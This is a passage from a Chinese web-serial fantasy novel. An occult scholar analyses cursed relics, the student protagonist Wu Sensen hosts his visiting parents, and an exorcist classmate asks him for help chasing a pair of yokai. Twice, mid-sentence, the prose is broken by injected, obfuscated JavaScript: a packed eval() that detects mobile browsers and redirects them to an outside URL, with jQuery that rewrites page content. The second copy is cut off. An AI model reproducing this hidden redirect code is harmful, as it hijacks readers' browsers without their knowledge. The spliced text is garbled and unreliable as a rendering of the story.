多数族人在未觉醒时,也会表现出远超常人的观察力、记忆力以及对时间、逻辑的敏感。我算是……近期才初步确认并稳定了自身‘学者’特质的那一类。” 他顿了顿,补充道:“这也是为什么我能处理警方那些‘非常规’案件,并对你们找到的‘异常样本’进行分析。我的方法,介于现代科学仪器与古老感知术之间。” 这个解释让众人恍然。 难怪桐岛凛总能在看似无解的线索中找到关键,他的“天赋”本身就超越了常规刑侦和科学鉴识的范畴。 “闲话稍后再叙,先说正事。” 桐岛凛将话题拉回,从帆布包里取出一个厚厚的文件夹,抽出几份打印好的报告,铺在矮几上。 “这是对之前从‘辻神’域中带回的断脚、石像碎片、能量晶体,以及这次肝脏的初步分析报告,结合了仪器检测和我个人的‘共鸣’感知。” 他先指向关于“断脚”的部分:“祭品使用脚部,具有明确的象征意义——针对‘旅人’、‘行者’、‘移动’与‘方向’。这与‘辻神’作为交界处迷惑旅人的魔物特性高度契合。 这块断脚被特殊处理保持‘活性’,其‘生机’被扭曲为吸引和困缚旅人、汲取其方向感与行动力的‘饵食’或‘仪式核心’。” 接着是“石像碎片”:“材质分析显示,它与寻常山石不同,蕴含一种矛盾的‘二元性’能量。 它同时具备‘令人迷失方向、陷入循环’的负面力量,以及‘在绝境中揭示一线生路、指引正确方向’的正面潜能。 这让我想起夏国《山海经》中记载的罔草和迷穀,像是这两个的结合体,能令人迷惑也能使人清醒。这块石像,很可能就是辻神力量的某种‘核心’或‘象征物’具现化后的碎片。” 然后是那些“能量晶体”:“这是‘鬼神的域’在崩溃或不稳定时,其核心规则与能量凝结的固态结晶。价值很高,尤其是对于那些自身力量不足以形成稳定‘域’的术士或妖鬼。它可以帮助他们搭建临时的、小型的、功能单一的‘亚空间领域’,或者强化自身对某类规则的掌控。” 仿佛为了验证,桐岛凛从挎包侧袋里拿出一个透明的观察盒,里面关着一只毛茸茸、正在疯狂蹬跑轮的仓鼠。 他打开盒子,将一粒米粒大小的、散发着微光的晶体碎屑放在仓鼠面前。仓鼠好奇地凑过去闻了闻,然后……一口吞了下去! 几秒钟后,仓鼠的身体周围,空间开始极其轻微地扭曲、波动,一个大约2米长、2米宽、2米高的、极其不稳定的透明立方体“域” 将仓鼠和它的跑轮、食盆笼罩其中! 域内景象扭曲模糊,只能看到无数飞速旋转、堆叠的彩色刨花,大概是仓鼠脑子里最“丰富”的“领域素材”了,以及仓鼠在里面更加兴奋地奔跑、偶尔撞到“域”壁又弹回来的滑稽样子。 桐岛凛面无表情地观察了几秒,然后伸手在“域”壁上某个点轻轻一弹。 “域”如同肥皂泡般“啵”地一声碎裂,仓鼠茫然地坐在原地,打了个嗝,吐出一小口晶体粉末,然后继续蹬它的跑轮去了。 “如你们所见,”桐岛凛收起观察盒,“即便是最低等的生物,在晶体催化下也能短暂形成‘域’,但智商、认知和力量决定了‘域’的规模、稳定性和功能。 这只仓鼠的‘域’,除了困住它自己和一堆幻想的刨花,毫无用处。晶体很珍贵,但使用需谨慎,且对使用者要求不低。” 最后,他的目光转向角落那个陶罐,神情变得格外严肃。 “关于这块‘肝脏’……” 桐岛凛走到陶罐前,并未打开,只是隔着一定距离,伸出右手,掌心虚按在罐口封印上方。他闭上了眼睛,眉头微微蹙起,仿佛在倾听着什么,感应着什么。 片刻之后,他收回手,睁开眼睛,脸色有些苍白,显然刚才的“共鸣”消耗不小。 “我的‘古代学者’能力,在尝试深度‘阅读’这块肝脏 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“这块肝脏被邪术处理,保持‘鲜活’,其核心能力被扭曲并极大强化。它可以吸收、转化几乎任何形式的能量来维持自身‘活性’,并可能将吸收的能量转化为具有强烈‘污染’、‘侵蚀’或‘控制’特性的木行邪力释放出去。 这很可能就是邪教徒试图用它来‘反向污染和控制’百足神的原理——将其植入或接触百足神,使其不断吸收百足神的地祇之力和堕落后的邪气,并反馈回针对性的污染,最终达到操控目的。 “更棘手的是,由于它被处理得几乎没有外泄的‘邪气’,理论上,普通人如果不知情,甚至可能将其误认为某种‘天材地宝’而尝试移植或利用。 当然,结果必然是迅速被其扭曲的木行邪力侵蚀,变成怪物或傀儡。而对于知晓其用法的术士或邪教徒,则可以通过特定仪式,安全地引导和利用它的力量,进行攻击、防御、治疗、或者作为某些邪恶阵法、炼金、召唤仪式的核心。” 桐岛凛的结论让茶室内的温度仿佛都降低了几度。 这块“活肝”,不仅仅是一个邪恶的祭品或实验产物,更是一件高度危险、功能诡异、且可能被误用的“邪器”! “古代学者”的警告,五行理论的推演,再加上百足神记忆中的实际应用案例……所有人都意识到,他们手中的这块肝脏,恐怕比预想的还要麻烦,也更能说明“生贽之会”在邪术领域的造诣之深、危害之巨。 桐岛凛收起报告,看向众人:“这块肝脏,以及那些晶体,必须妥善封存,谨慎研究。它们是重要的线索,也是极度危险的物品。我建议,在没有找到安全可靠的处理方法或研究出有效克制手段前,由我、高宏先生,或许再加上荒,共同监管。至于进一步的行动方向……” 桐岛凛有点遗憾,这块肝脏如果不是因为扭曲的木行之力,那可是有大用。 28. 爸妈到来 “静岳庵”茶室会议后的两天,吴森森的生活似乎进入了一种奇异的“缓冲期”。 高宏亮让他最近少出门,荒也回了画室,森内彻和渡边兰继续他们的情报网络运作,桐岛凛则一头扎进了对“活肝”和晶体的进一步安全分析与文献比对中。 吴森森自己,除了每天雷打不动地在“春枝猪排饭店”帮忙,就是埋头赶那堆积如山的专业课作业。 设计艺术史的论文、构成课的练习、还有那要命的户外写生总结与创作……教授的死亡凝视和截止日期,比什么邪教徒的追杀令更具现实压迫感。 就在他对着电脑屏幕上空白的论文文档抓耳挠腮,一边琢磨“瓶装器官的象征性在现代艺术中的解构可能”,一边担心会不会突然又有怪物从天花板掉下来时,手机响了。 是他妈,吴若木。 “森森啊,在干嘛呢?吃饭了没?” 母亲熟悉而略带江南口音的声音传来,背景音有些嘈杂。 “正写作业呢,妈。吃过了,在店里帮忙。” 吴森森揉了揉发胀的太阳穴。 “哦,写作业啊,辛苦辛苦。那个……跟你爸说个事哈。” 吴若木的声音里带着一丝掩饰不住的兴奋和一点……心虚? “嗯,您说。” “我跟你爸啊,休了年假,报了旅行团,明天晚上的飞机到杰潘!先去京东玩两天,然后就来阪大看你!怎么样,惊喜不惊喜?” 吴森森:“……???” 他差点把手机扔出去。明天晚上?京东?然后来阪大?事先一点风声都没有?! “不是……妈,你们怎么突然……也不提前说一声?” 吴森森感觉自己舌头有点打结。 “哎呀,这不是想给你个惊喜嘛!年假批得急,旅行团也是临时抢到的尾单,划算得很!反正你在阪大,我们顺便看看你,也看看你住的地方,放心。” 吴若木的语气理所当然,“对了,你之前说你现在借住在一个饭店老板家里?人家对你好不好啊?我们到时候可得好好谢谢人家。不过我们就不打扰人家了,酒店我们都订好了,阪大的酒店,就离你学校不远!” 吴森森大脑飞速运转。父母要来,而且是“顺便”看他,主要目的是旅游。 时间紧迫,他完全没有置喙的余地,只能被动接受。 而且听这意思,他们行程都安排好了,连阪大的酒店都订了。 “知道了……航班号发我,我到时去机场接你们。” 吴森森深吸一口气,强迫自己冷静下来。 父母来旅游,是好事,至少能让他暂时从那些超自然破事里抽身,享受几天纯粹的、属于普通留学生的、被父母“视察”的日常。 “诶,好!就知道儿子最懂事了!航班号我微信发你。对了,你爸让你别耽误学习,我们就呆三四天,你该上课上课,该写作业写作业,不用全程陪着,我们就晚上一起吃个饭,白天我们自己玩!” 吴若木叮嘱道,旁边似乎传来父亲上官若水低声附和的声音。 挂了电话,吴森森看着手机屏幕上母亲发来的航班信息,又看了看电脑上只写了标题的论文,以及手边高宏亮给他制定的“本周训练计划”,长长地叹了口气。 好吧,所有事情,都得往后稍稍了。未来三四天,他的首要任务是:当好一个在杰潘留学的、普通的、孝顺的儿子,接待好他那对兴致勃勃来旅游的爹妈。 他立刻行动起来。先给导师发了邮件,说明了家里突然有访客,可能会稍微影响作业进度。 然后跑到楼下,跟正在准备晚餐食材的高宏亮报备。 “高宏先生,我爸妈明天晚上到杰潘旅游,过两天来阪大,我得去接他们,陪他们几天。” 吴森森有些不好意思,毕竟高宏亮最近对他训练很上心,店里也忙。 高宏亮正在切洋葱,闻言手上动作一顿,转过头,挑了挑眉:“哟,家长视察团来了?好事啊!放心去,店里忙得过来,训练也等你回来补上,加倍。” 他咧嘴一笑,“你爸妈来了,要不要来我这儿吃顿饭?我露一手,绝对给你长脸!” 吴森森心里一暖:“谢谢高宏先生!看他们安排,如果他们愿意,一定带他们来尝尝您的手艺!” “行!随时欢迎!” 高宏亮挥了挥菜刀,“对了,你爸妈知道你最近……嗯,遇到的这些‘麻烦’不?” 吴森森连忙摇头:“怎么可能说!说了他们非得吓死,立刻把我打包带回去不可。我就说学业忙,在您这儿帮忙抵点房租,其他一切正常。” “嗯,不说也好,省得他们担心。” 高宏亮点点头,“这几天你自己也注意点,虽然森内说官面压力小了,但保不齐有不开眼的。陪你爸妈玩的时候,也留个心眼,有事立刻打电话。” “明白!” 通知完高宏亮,吴森森又给荒发了条信息,简单说了下情况。 荒很快回复,只有一个字:“好。注意安全。” 一如既往的简洁。 接着,他想了想,也给桐岛凛和森内彻发了条信息,告知自己接下来几天可能要陪父母,不太方便参与即时行动,有事电话联系。 两人都表示理解,桐岛凛还回了句“享受家庭时光,也是必要的观察与信息收集。” 让吴森森有点哭笑不得。 安排完这些,吴森森才开始真正思考如何接待父母。 他爸妈,吴若木和上官若水,都是普通的工薪阶层,但家庭氛围不错,也支持他出国学艺术。 家里不算大富大贵,但供他留学也还负担得起,不然他也没机会来。 他还有个正在国内读初中的妹妹,叫上官林林,这次没来。 想到父母的名字,吴森森嘴角不自觉地抽了抽。 他妈是金陵人,姓吴,单名一个“若木”,据说是外婆取自《楚辞》。 他爸复姓上官,名“若水”,听起来也很文雅。 当初他妈看上他爸,据说除了那张确实不错的皮相,很大一部分原因就是觉得“吴若木”和“上官若水”这两个名字“天生一对,意境相合”,为此没少被亲戚朋友打趣。吴森森一直觉得,父母这种浪漫的起名和结合理由,多少影响了他妹的名字。 上官林林,听着就像是为了延续“木”的意象硬凑的。还有自己的。 不过腹诽归腹诽,父母能一起来看他,他还是高兴的。 正好他也需要从百忙的学业里抽身,喘口气,用最普通的家庭琐事和旅游景点,来找回一点当普通人的实感。 他打开电脑,开始搜索阪大的旅游攻略,规划父母可能会感兴趣的路线——心斋桥、道顿堀、阪大城、环球影城……顺便看看有没有合适的、父母能接受的餐厅。 至于他借住在“饭店老板”家这事,父母似乎接受了,还说要来道谢,这让他松了口气。 窗外,阪大的夜幕渐渐降临,城市的灯火次第亮起。 吴森森暂时合上了写满超自然符号和危险线索的笔记本,也关掉了满是论文参考文献的浏览器。 他拿起手机,开始认真研究起明天接机的路线、阪大地铁图、以及哪些免税店适合父母购物。 “爸妈,欢迎来杰潘。希望……一切正常。” 他低声自语,然后继续埋头研究起明天穿什么去接机比较得体。 ———— 第二天一早,吴森森是被一股浓郁的、带着焦香的煎蛋气味和高宏亮标志性的大嗓门“叫醒”的。 “小子!还睡!几点了!赶紧起来!你爸妈飞机是没那么早,但你今天不得收拾收拾?看看你这一堆画稿论文,别让你爸妈觉得你住猪窝里!” 高宏亮一边在楼下厨房忙活,一边冲着二楼客房喊道。 吴森森迷迷糊糊地摸过手机一看,才七点半! 他昨晚研究攻略、收拾房间、还想着今天要精神饱满地去接机,结果焦虑得有点失眠,这会儿正困得不行。 但高宏亮的“叫早服务”显然不容拒绝,他只能挣扎着爬起来。 打着哈欠下楼,吴森森发现餐厅桌上已经摆好了丰盛的早餐——煎得恰到好处的溏心蛋、烤得酥脆的吐司、蔬菜沙拉,还有一大杯热牛奶。 而更让他惊讶的是,旁边的椅背上,整整齐齐地挂着一套熨烫得笔挺的浅蓝色衬衫和深色休闲裤,甚至连搭配的袜子和一条简约的皮带都准备好了。 “衣服给你熨好了,就穿这套,看着精神,又不会太正式,接机正合适。” 高宏亮端着两碗味噌汤走出来,看到吴森森惊讶的眼神,随口解释道,“我看你那些衣服,不是沾了颜料就是皱巴巴的,哪能穿去见爸妈。赶紧吃,吃完洗漱换衣服,把自己收拾利索了。” 吴森森心里涌起一股暖流。 高宏亮平时看起来大大咧咧,没想到这么细心。“谢谢高宏先生!太麻烦您了!” “少来这套,赶紧吃!对了,中午饭你们自己解决吧?估计赶不过来。” 高宏亮摆摆手。 “嗯,应该在外面吃了。晚上……” 吴森森咽下嘴里的煎蛋,赶紧补充道,“晚上我爸妈说想过来看看,顺便当面向您道谢。他们说在外面住酒店,不打扰,就过来吃个晚饭,行吗?” “行啊!欢迎!” 高宏亮眼睛一亮,随即又正色道,“不过你得先跟我说说,你爸妈有没有什么忌口?我好准备。” 吴森森想了想:“我妈不挑,什么都吃。就是我爸,有点麻烦……他不吃牛肉,也不吃乌鳢。牛肉是完全不碰,说是小时候家里养的牛死了,伤心,后来就不吃了。乌鳢是觉得样子吓人,心里膈应。其他倒没什么特别的。” 吴森森想到上官若水去吃太乙酸菜鱼的时候都要点鲈鱼,片成片了还能看得出来吗… “不吃牛肉和乌鳢?” 高宏亮摸了摸下巴上的胡渣,眼神里闪过一丝极快的、仿佛被触动了什么记忆的茫然。 他低声嘀咕了一句,“这忌口……怎么听着有点耳熟?好像在哪听过类似的……” 但他很快摇了摇头,似乎没想起来,“算了,想不起来了。行,我知道了,今晚的菜不会出现和牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016501|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、牛蒡、黑鱼这些东西。放心,猪肉、鸡肉、海鲜、蔬菜,管够!” 吴森森松了口气:“那就拜托您了!我爸妈肯定喜欢您的手艺!” “小意思!赶紧吃你的!” 早餐后,吴森森专心洗漱,换上了高宏亮准备好的衣服。 镜子里的年轻人,穿着合身的衬衫长裤,头发梳理整齐,眼神虽然还有些熬夜的疲惫,但整体精神了许多,看上去就是个清爽干净的留学生。 他对自己这身行头很满意,对高宏亮的细心更是感激。 “我出门了,高宏先生!” 吴森森对着厨房方向喊道。 “路上小心!注意安全!有事打电话!” 高宏亮的声音伴着油锅的滋滋声传来。 吴森森提前查好了路线,乘坐电车顺利抵达西关机场。 他算好了时间,本以为能在出口等父母,结果刚到国际到达厅,就收到了母亲的微信:“森森,我们到了!飞机提前了!在出口这里等你呢!” 吴森森心里一紧,赶紧小跑过去。 远远的,他就看到了两个熟悉的身影站在出口附近,脚边放着行李箱,正伸长脖子张望。 父亲上官若水,年近五十,身材保持得不错,穿着舒适的休闲夹克和长裤,戴着一副金丝边眼镜,面容儒雅,此刻正微微皱眉看着手机地图。 母亲吴若木,同样打扮得体,一件剪裁合身的薄风衣,利落的短发,脸上带着旅途的疲惫,但眼神明亮,正四处搜寻儿子的身影。 “爸!妈!” 吴森森赶紧挥手,加快脚步跑过去。 “森森!” 吴若木眼睛一亮,脸上立刻绽开笑容。上官若水也抬起头,露出温和的笑意。 吴若木上前拉住儿子的手,上下打量:“瘦了点,是不是没好好吃饭?不过气色还行。这衣服新买的?挺精神!” 上官若水也拍了拍儿子的肩膀:“路上顺利吧?不着急,我们也是刚到一会儿。” 很平常的父母关心,却让吴森森一直紧绷的、应对各种超常事件的心弦,瞬间松弛了下来。 “爸妈,一路辛苦了。酒店订好了吗?我先送你们去酒店放行李吧?” 吴森森接过父亲手里的一个稍小的行李箱。 “订好了订好了,就在你学校附近,叫什么……‘心斋桥光芒酒店’?你爸定的,说交通方便。” 吴若木说道,然后看了看时间,“这都快十二点了,咱们先找个地方吃饭吧?飞机餐难吃死了。森森,这附近有什么好吃的?你熟。” 吴森森早有准备,立刻说:“机场这边餐厅多,但性价比高的不多。我们可以坐车去市区,我知道几家不错的店……” “不着急不着急,” 吴若木摆摆手,已经拿出了手机,熟练地打开了某个美食点评APP,显然是提前下载好的国际版,一屁股坐在行李箱上,开始低头搜索,“让我看看啊……西关机场附近美食推荐……” 上官若水无奈地看了妻子一眼,对吴森森说:“你妈就这样,到哪儿都得自己找吃的,不信别人推荐的。” 吴森森笑着点头表示理解。 他安静地站在一旁,看着母亲专注地刷手机,父亲则开始研究起机场的指示牌和交通图。 午后的阳光透过机场巨大的玻璃幕墙洒进来,温暖而明亮。 周围是熙熙攘攘的旅客,各种语言的交谈声、行李箱滚轮声、航班广播声交织在一起,吴森森赶紧好放松好踏实。 过了一会儿,吴若木抬起头,指着手机屏幕:“就这家吧!‘龟王拉面’,离得不远,步行就能到,评价说汤头浓,叉烧厚!就吃这个了!” 上官若水凑过去看了一眼,提出不同意见:“拉面啊……我看这边还有家‘和幸’炸猪排,也挺有名的,要不尝尝炸猪排?” 吴若木立刻否决:“炸什么猪排!儿子不是说了吗,他现在借住的那位高宏先生,就是开猪排饭店的!人家是专业做这个的,难道还能比外面的店差?咱们晚上就去尝尝高宏先生的手艺,中午就别吃猪排了,留着肚子!而且拉面多快,吃完赶紧去酒店放行李休息,坐飞机累死了。” 上官若水被妻子一番话堵了回去,只好耸耸肩,看向吴森森:“行吧,听你妈的。森森,你觉得呢?” 吴森森自然没意见:“妈选的这家拉面确实挺有名的,很多游客都来吃。那咱们就去吃拉面吧!” “走走走!饿死了!” 吴若木收起手机,站起身,精神似乎都因为找到了美食而振奋了不少。 一家三口拖着行李箱,朝着机场外那家著名的拉面店走去。 吴森森走在中间,听着父母关于“要不要加溏心蛋”、“面条选粗面还是细面”的讨论,嘴角不自觉地扬起。 暂时,忘掉那些糟心的事情吧。 现在,他只是一个在异国他乡,接待父母来旅游的普通儿子。 而第一项任务,是陪他们吃一碗热气腾腾的、可能会被咸到的杰潘拉面。 平凡的一天,正式开始了。 29. 长岛冰茶的麻烦 “龟王拉面”店内人头攒动,弥漫着浓郁的猪骨汤香气。三人好不容易找到位置坐下,点了招牌的豚骨拉面。 面上桌,汤色奶白,叉烧厚实,溏心蛋诱人,看着确实不错。 然而,几口下去,吴若木的眉头就皱了起来。“这汤……是不是太咸了点?” 她小声对丈夫和儿子说,“而且这面条,口感是劲道,但总觉得少了点什么……光吃面有点腻。” 吴森森早已习惯,解释道:“妈,在杰潘,很多人吃拉面,尤其是这种浓汤的,会配一碗白米饭。用米饭蘸着汤吃,或者吃几口面,再扒几口饭,这样就不会觉得太咸太腻了,而且很顶饱。” “啥?吃面还配米饭?” 吴若木一脸不可思议,仿佛听到了什么天方夜谭,“这不成碳水配碳水了嘛!谁家好人这么吃饭?热量得多高?而且味道不会怪怪的?” 一旁的上官若水默默吃着面,没发表意见,但从他微微点头的动作来看,似乎对妻子的言论颇为赞同,只是明智地选择了沉默。 吴森森哭笑不得:“入乡随俗嘛,妈。这边饮食文化就这样。您要是不习惯,就少喝点汤,或者加点清汤稀释一下。” 最终,吴若木还是没能接受“面配饭”的吃法,只把面和叉烧、蛋吃了,汤剩了大半。上官若水倒是把汤喝了不少,但也是就着免费提供的冰水一起。 吴森森自己则熟练地要了碗米饭,看得吴若木直摇头,小声对丈夫说:“你看儿子,才来多久,吃饭习惯都变了。” 上官若水推了推眼镜,淡定道:“适应环境,好事。” 饭后,三人搭乘出租车前往预订的酒店“心斋桥光芒酒店”。 酒店位置确实便利,装修现代,房间宽敞明亮,有一张舒适的大床。 一路奔波,加上时差和那碗略咸的拉面,一家三口都有些晕碳,进了房间便不约而同地倒在了那张大床上,暂时都不想动了。 “哎呀,可算能躺会儿了……” 吴若木舒服地叹了口气,侧过身看着儿子,“森森,我们这次来,主要就是旅游,顺便看看你。没计划要带你到处玩,耽误你学习。所以你晚上就回高宏先生那边住吧,别担心我们。我们自己逛就行。” 吴森森点头:“嗯,我知道。我晚上得回去,高宏先生还等着你们过去吃晚饭呢。下午……你们有什么安排?要不先休息倒时差?” “休息啥,飞机上睡过了。下午就去你学校逛逛吧!” 吴若木来了精神,“看看我儿子上学的地方什么样!拍点照片发给林林看!” “行,学校离这不远,走过去二十来分钟。” 吴森森自然没意见。 就在这时,一直没怎么说话的上官若水坐起身,从随身携带的公文包内衬里,小心翼翼地取出一个用红布包着的小东西。 他打开红布,里面是一个用黄纸叠成的、工整的三角形符箓,上面用朱砂画着复杂的符文,看起来有些年头了,但保存得很好。 “这个,你拿着。” 上官若水将符箓递给吴森森,语气认真,“上次回长安,我特意去了趟楼观台,找一位相熟的道长求的。说是能辟邪护身,宁心安神。你一个人在国外,带着,图个心安。” 吴森森接过符箓,入手微沉,纸张有种特殊的韧性,朱砂符文隐隐透着一丝极淡的、令人心神宁静的气息。 他心中微动,这符……似乎不像路边摊买的那种旅游纪念品,倒真有些门道。 难道老爸认识什么高人? “谢谢爸。” 他郑重地收好。 上官若水碰了碰身边的妻子,示意道:“你不是也给儿子带了东西吗?” “哦对!瞧我这记性!” 吴若木一拍脑门,连忙从自己的随身小包里摸索起来,掏出两个用软布分别包裹的小物件。 她打开软布,里面是两串手串。 手串的珠子并非正圆,而是形状不规则、大小略有差异的木珠,颜色是深沉的、泛着油脂光泽的乌黑色,木纹细腻,带着一种古朴沧桑的美感。 每串手串中间,都镶嵌着一颗指甲盖大小、水头极好、翠绿欲滴的翡翠扣,在乌木的衬托下格外醒目,绿意盎然,生机勃勃。 “喏,这个给你。” 吴若木将两串手串都递给吴森森,“这是阴沉木做的。哦,阴沉木你知道吗?就是埋在地下或水里成千上万年形成的木头,可稀罕了,据说能辟邪、安神、招财呢!” 吴森森接过手串,触手温润,沉甸甸的,带着木质的清香。 听到是阴沉木,他有些惊讶:“阴沉木?妈,您从哪儿弄来的?这东西现在可不好找,而且很贵吧?” 他不太相信母亲会特意去买这么贵重的东西。 吴若木眼神飘忽了一下,摆摆手:“哎呀,你别管哪儿来的,反正就是有门路。网上不都说这个好嘛,而且你爸是长安人,这秦岭出的阴沉木,也算咱家乡的宝贝,戴着,不忘本!” 她顿了顿,又补充道,“给你两串,一串你自己戴,另一串……等你有了对象,就送出去!这成双成对的多好!翡翠扣也寓意‘拴住’嘛!” 对象?送出去?另一串? 吴森森脑子里瞬间如同过电般,闪过了某个蓝皮肤、红鹿角、身穿鲛绡、语出惊人的身影,以及那句石破天惊的“婚约”之言! 他猛地打了个寒颤,差点把手串扔出去。 “没、没有对象!” 他几乎是脱口而出,声音都有些变调,“妈,您别瞎说!我学业这么忙,哪有时间谈恋爱!这手串……我自己戴一串就够了,另一串先收着,以后再说,以后再说!” 他迅速将其中一串套在左手腕上,冰凉温润的触感传来,似乎让有些躁动的心绪平复了一些。 另一串则被他飞快地塞进了裤子口袋,仿佛那是什么烫手山芋。 吴若木看着儿子瞬间涨红的脸和慌乱的动作,眼中闪过一丝狐疑,但也没深究,只是遗憾地咂咂嘴:“没有啊?唉,我儿子这么帅,怎么还没对象呢……不过也是,学业重要,学业重要。那另一串你先收好,说不定缘分很快就来了呢?” 上官若水在一旁推了推眼镜,目光在儿子瞬间变化的神色和手腕上那串乌木手串上停留了一瞬,没说什么,只是眼底闪过一丝几不可察的深思。 短暂的礼物风波过后,一家三口又在床上赖了一会儿,聊了些家里的琐事、妹妹的学业、亲戚们的近况。 平凡的家常话,驱散了吴森森连日来积压的紧张与疲惫。 下午,阳光正好。吴森森带着父母,漫步走向他就读的阪大艺术大学。 校园里绿树成荫,建筑各有特色,偶尔能看到夹着画板、行色匆匆的学生。 吴若木兴致勃勃地让吴森森在各个标志性建筑前拍照,上官若水则对校园里的雕塑和建筑设计更感兴趣,不时驻足观看。 ———— 带着父母在校园里悠闲散步,介绍着教学楼、图书馆、著名的“螺旋楼梯”画室,吴森森难得地享受着这种纯粹的、属于普通大学生的日常。 父母听得津津有味,不时拍照,吴若木还拉着一个路过的、看起来面善的杰潘学生帮他们一家三口合影,气氛轻松愉快。 就在他们穿过连接美术学院和音乐学部的一条林荫小道,准备去中央草坪看看时,一个娇小却迅疾的身影低着头,抱着一摞厚厚的文件夹和几件用布袋裹着的、形状古怪的东西,从斜刺里匆匆冲出,根本没看路! “哎呀!” “唔!” 两人结结实实地撞在了一起! 吴森森被撞得一个趔趄,怀里的校园地图和手机差点飞出去。 对方更是“啊呀”一声惊呼,手里的文件夹哗啦散落一地,布袋里的东西也掉了出来,果然是一把造型奇特的金属短杖和一个古旧的黄铜罗盘。 “对不起对不起!我太着急了没看路!” 一个清脆又带着焦急的女声连声道歉,手忙脚乱地蹲下去捡东西。 吴森森也赶紧帮忙捡拾散落的文件,抬头一看,愣住了。 “长岛小姐?” 眼前这个穿着便于行动的深蓝色工装裤、栗色短发有些凌乱、琥珀色大眼睛里满是焦急的少女,不正是之前在辻神“域”中共患难过的驱魔师长岛冰茶吗? “吴森森?” 长岛冰茶也认出了他,脸上闪过一丝惊讶,但更多的还是急切,“是你啊!真巧!不过我现在有急事,我得先走了!” 她飞快地将捡起的文件和工具塞回布袋,就要起身离开。 “冰茶,怎么了?出什么事了?” 吴森森看她急成这样,下意识问道。 同时,他注意到散落的文件里,有几张似乎是手绘的、标注着奇怪符号和能量波动的地图,还有一些打印的、关于某种植物和蝴蝶的古籍插图复印件。 这时,吴若木和上官若水也走了过来。吴若木看到儿子和一个长相可爱、穿着利落的杰潘女孩撞在一起,还似乎认识,眼睛立刻亮了一下,用手肘碰了碰丈夫,压低声音笑道:“看,我说什么来着?儿子在杰潘肯定有朋友!还是个这么可爱的女孩子!” 上官若水推了推眼镜,打量了一下长岛冰茶和她手里那些明显不属于普通学生的“工具”,没说什么,只是眼中若有所思。 吴森森听到母亲的嘀咕,脸一热,赶紧介绍:“爸,妈,这位是长岛冰茶,是我……在画室认识的朋友,教育大学的。” 他没有表述长岛驱魔师的身份。 “叔叔阿姨好!” 长岛冰茶这才注意到吴森森的父母,连忙鞠躬问好,礼仪无可挑剔,但眼神里的急切几乎要溢出来。 吴若木笑得更加慈祥了:“你好你好!冰茶是吧?名字真好听!你们聊,你们聊,不用管我们。若水,走,咱们自己去那边草坪看看,让孩子跟朋友说说话。” 说着,不由分说地拉着丈夫就走,还回头对吴森森眨眨眼,用口型说了句“好好聊”。 吴森森:“……” 得,这下是解释不清了。 父母很快走远,留下吴森森和心急如焚的长岛冰茶。 长岛冰茶显然没心思在意吴森森父母的误会,她看了看吴森森,又看了看手里的罗盘,咬了咬牙,似乎下了个决定。 “吴,你……你现在有空吗?我、我遇到大麻烦了!” 长岛冰茶语速极快,“我的考核目标又跑了!这次是个二级的‘哭叶’,还伴生了一只一级的‘梦蝶’!我一个人实在搞不定,追踪也总是被打断!你能……能帮我一下吗?” 看着她那几乎要哭出来的焦急眼神,又想到上次在“域”中并肩作战的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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长岛冰茶烦躁地抓了抓头发,“本来‘哭叶’就够滑溜了,这只‘梦蝶’还一直跟着它!每次我快要锁定‘哭叶’的位置,或者布下陷阱,梦蝶就会干扰我的感知,或者制造一些假象、噩梦片段来吓唬我、误导我! 虽然不致命,但烦人啊!而且它们配合起来,‘哭叶’下雨制造低沉氛围,‘梦蝶’趁机放大噩梦和误导,已经有好几个在附近长椅上午睡或者晚上散步的学生被影响了,出现了情绪低落、做噩梦、甚至产生短暂幻觉的情况! 再这样下去,事情闹大了,我的考核别说通过,不给家族和学校惹麻烦就不错了!” 她越说越急:“我刚才就是收到消息,说在东校区的小树林那边又出现了异常低气压和几个学生做噩梦的报告,赶紧带着工具过去,结果刚到附近,罗盘就乱了,然后看到一片灰叶子飘过,我刚追过去,就被‘梦蝶’制造的幻象引到了另一个方向,等回过神来,又没影了!然后就撞到你了……” 吴森森听明白了。一只擅长隐藏、逃跑、制造阴沉环境的二级妖鬼,加一只擅长精神干扰、制造混乱的一级辅助妖鬼。 组合起来,确实让长岛冰茶这个初出茅庐的驱魔师头疼不已。 “所以,你现在需要人帮忙,一个负责牵制或者对付‘梦蝶’,另一个去抓‘哭叶’?” 吴森森总结道。 “对对对!” 长岛冰茶小鸡啄米似的点头,充满期待地看着吴森森,“吴,你灵感高,而且上次在‘域’里表现那么好!你能不能……帮我牵制一下那只烦人的‘梦蝶’? 不用打败它,只要能干扰它,让它别老是给我捣乱就行!我去抓‘哭叶’!拜托了!这次再失败,我真的要被族学留级了!” 看着长岛冰茶那可怜兮兮又充满斗志的眼神,吴森森叹了口气。 看来,他这短暂的“平凡日常”,又要被这些“不平凡”的小插曲打断了。 他看了看窗外明媚的阳光,又感受了一下左手腕上那串新戴上的、冰凉温润的阴沉木手串。 “行吧,我帮你。不过说好了,就这一次,而且我得先跟我爸妈说一声,免得他们担心。” 吴森森说道,“还有,怎么对付‘梦蝶’?我对付精神干扰的东西可没经验。” 长岛冰茶顿时眉开眼笑,连忙从布袋里掏出一个小巧的、像是熏香炉的铜制小炉,还有一小包散发着清冽香气的粉末:“这是安神香,点燃后能稳定心神,一定程度上抵御低级的梦境和精神干扰。你拿着这个,靠近‘哭叶’可能出现的地方时点上。 然后尽量集中精神,别被那些幻象吓到,它们其实很脆弱,你意志坚定点,它们就影响不了你太多!我会尽快解决‘哭叶’,‘哭叶’一被控制,‘梦蝶’失去了伴生对象,力量会大减,就容易处理了!” 计划听起来简单,但执行起来肯定不轻松。 